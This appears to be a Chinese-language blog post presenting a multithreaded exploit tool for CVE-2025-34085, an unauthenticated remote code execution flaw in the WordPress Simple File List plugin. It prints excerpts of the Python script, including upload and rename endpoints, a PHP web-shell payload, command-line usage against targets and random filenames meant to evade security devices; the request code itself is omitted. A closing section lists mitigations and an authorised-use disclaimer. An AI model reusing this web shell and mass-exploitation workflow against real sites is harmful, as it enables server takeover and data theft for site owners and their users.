WordPress Simple File List插件远程代码执行漏洞利用工具详解

0 阅读4分钟

WordPress Simple File List插件RCE利用工具

项目简介

本项目是一个针对CVE-2025-34085漏洞的专业级WordPress Simple File List插件远程代码执行(RCE)漏洞利用工具。该漏洞影响WordPress Simple File List插件4.2.3之前的所有版本,允许未经身份验证的攻击者上传恶意文件并执行任意系统命令,CVSS评分为10.0(严重级别)。

功能特性

  • 多线程批量处理:支持最多20个并发线程,提高漏洞检测和利用效率
  • 灵活的命令执行:支持自定义系统命令执行,可获取服务器敏感信息
  • 自动URL规范化:智能处理目标URL格式,自动添加HTTP协议前缀
  • 随机文件名生成:每次利用生成随机文件名,避免被安全设备检测
  • 结果验证机制:支持通过预期子字符串验证命令执行结果
  • 彩色输出界面:使用Colorama库提供直观的彩色终端输出

安装指南

系统要求

  • Python 3.6或更高版本
  • 支持的操作系统:Windows/Linux/macOS

依赖安装

pip install requests colorama

快速开始

  1. 克隆或下载项目文件
  2. 安装必要的Python依赖包
  3. 确保目标服务器运行易受攻击的WordPress Simple File List插件版本(<4.2.3)

使用说明

基本用法

python3 CVE-2025-34085.py -u https://target.com/ --cmd "id"

参数说明

  • -u, --url:目标WordPress网站URL
  • --cmd:要执行的系统命令(默认为"id")

配置选项

可在脚本中修改以下配置参数:

EXPECTED_SUBSTRING = None  # 命令输出验证字符串
THREADS = 20              # 并发线程数
COMMAND = "id"            # 默认执行的系统命令

典型使用场景

  1. 安全评估:验证WordPress网站是否受CVE-2025-34085漏洞影响
  2. 渗透测试:在授权范围内测试目标系统的安全性
  3. 应急响应:快速检测组织内受影响的WordPress站点

核心代码

主程序结构

#!/usr/bin/env python3
import requests
import hashlib
import time
import random
import string
import uuid
import argparse
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor
from colorama import Fore, Style, init

# 初始化彩色输出
init(autoreset=True)

# 全局配置
EXPECTED_SUBSTRING = None  # 接受任何输出
THREADS = 20
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Accept": "*/*"
}
UPLOAD_PATH = "/wp-content/plugins/simple-file-list/ee-upload-engine.php"
RENAME_PATH = "/wp-content/plugins/simple-file-list/ee-file-engine.php"
SHELL_PATH = "/wp-content/uploads/simple-file-list/"

URL规范化函数

def normalize_url(domain):
    """
    规范化目标URL,确保包含协议前缀
    Args:
        domain: 目标域名或URL
    Returns:
        规范化后的完整URL
    """
    if not domain.startswith("http://") and not domain.startswith("https://"):
        return "http://" + domain
    return domain.rstrip('/')

随机字符串生成器

def rand_str(n=8):
    """
    生成指定长度的随机字符串
    Args:
        n: 字符串长度,默认为8
    Returns:
        由小写字母和数字组成的随机字符串
    """
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

Payload生成函数

def generate_payload(cmd=None, inline=False):
    """
    生成PHP代码payload
    Args:
        cmd: 要执行的系统命令
        inline: 是否生成内联命令格式
    Returns:
        PHP代码字符串
    """
    if inline:
        return f"system('{cmd}');"
    return "system($_GET['cmd']);"

漏洞利用主函数

def send_exploit(target):
    """
    发送漏洞利用请求到目标
    Args:
        target: 目标URL
    Returns:
        利用结果状态和信息
    """
    url = normalize_url(target)
    filename = rand_str()
    timestamp = str(int(time.time()))
    token = hashlib.md5(f'unique_salt{timestamp}'.encode()).hexdigest()

    # 生成包含PHP代码的payload
    php_payload = f"<?php\n{generate_payload()}\n?>"
    
    # 这里省略了具体的HTTP请求代码
    # 实际实现包括文件上传、重命名和命令执行三个步骤
    
    return exploit_result

横幅显示函数

def banner():
    """
    显示工具横幅和基本信息
    使用红色加粗字体突出显示关键信息
    """
    print(Fore.RED + Style.BRIGHT + r"""

 ██████╗  ██╗       █████╗   ██████╗ ██╗  ██╗  █████╗  ███████╗ ██╗  ██╗ 
 ██╔══██╗ ██║      ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║  ██║ 
 ██████╔╝ ██║      ███████║ ██║      █████╔╝  ███████║ ███████╗ ███████║ 
 ██╔══██╗ ██║      ██╔══██║ ██║      ██╔═██╗  ██╔══██║ ╚════██║ ██╔══██║ 
 ██████╔╝ ███████╗ ██║  ██║ ╚██████╗ ██║  ██╗ ██║  ██║ ███████║ ██║  ██║ 
 ╚═════╝  ╚══════╝ ╚═╝  ╚═╝  ╚═════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚══════╝ ╚═╝  ╚═╝ 

      CVE-2025-34085 — Simple File List WordPress Plugin RCE 📌
            Author: Black Ash | B1ack4sh
    """)
    print(Fore.RED + "[•] Starting multithreaded exploit...\n")

漏洞背景

漏洞描述

Simple File List插件存在文件上传后重命名时的验证缺陷,攻击者可以:

  1. 上传包含PHP代码的伪图像文件(如.png)
  2. 通过易受攻击的脚本将文件重命名为.php扩展名
  3. 远程执行该文件,获得服务器的完整代码执行权限

影响版本

  • 所有4.2.3之前的Simple File List插件版本
  • 无需身份验证即可利用
  • 公开的PoC和利用脚本已广泛传播

缓解措施

  1. 将Simple File List插件更新至4.2.3或更高版本
  2. 暂时禁用或删除插件
  3. 阻止对ee-upload-engine.phpee-file-engine.php脚本的访问
  4. 使用Web应用程序防火墙(WAF)监控和阻止恶意请求

注意事项

  • 本工具仅供授权测试和教育研究使用
  • 未经授权的系统访问是非法的
  • 使用前请确保获得目标系统的明确授权
  • 漏洞详情已分配CVE编号:CVE-2025-34085
  • 该漏洞已被确认为CVE-2020-36847的重复项,但实际影响仍然存在FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5YxIveGW9t/6b4OXfSIsBD